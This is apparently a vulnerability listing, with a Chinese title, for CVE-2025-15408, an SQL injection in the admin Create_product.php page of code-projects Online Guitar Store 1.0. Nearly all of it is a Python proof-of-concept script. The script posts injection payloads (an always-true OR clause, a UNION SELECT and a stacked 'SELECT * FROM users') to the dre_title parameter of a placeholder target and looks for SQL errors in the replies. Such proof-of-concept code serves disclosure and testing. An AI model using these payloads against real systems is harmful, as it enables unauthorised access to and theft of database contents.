CVE-2025-15408: code-projects在线吉他商店Create_product.php SQL注入漏洞

import requests import sys # CVE-2025-15408 SQL Injection PoC # Target: code-projects Online Guitar Store 1.0 # Vulnerability: SQL Injection in /admin/Create_product.php (dre_title parameter) target_url = "http://target.com/admin/Create_product.php" # Basic authentication bypass payload for dre_title parameter payloads = [ "test' OR '1'='1", # Basic injection test "test' UNION SELECT 1,2,3,4,5-- -", # UNION-based injection "test'; SELECT * FROM users-- -" # Data extraction attempt ] def test_sql_injection(url, param='dre_title'): print(f"[*] Testing SQL Injection on {url}") print(f"[*] Target parameter: {param}") for i, payload in enumerate(payloads, 1): data = { param: payload, # Other required form fields may be needed 'submit': 'Create' } try: response = requests.post(url, data=data, timeout=10) print(f"[+] Payload {i} sent: {payload}") print(f" Status: {response.status_code}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f" [!] Potential SQL error detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] PoC execution completed") print("[*] Manual verification recommended") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sql_injection(target_url)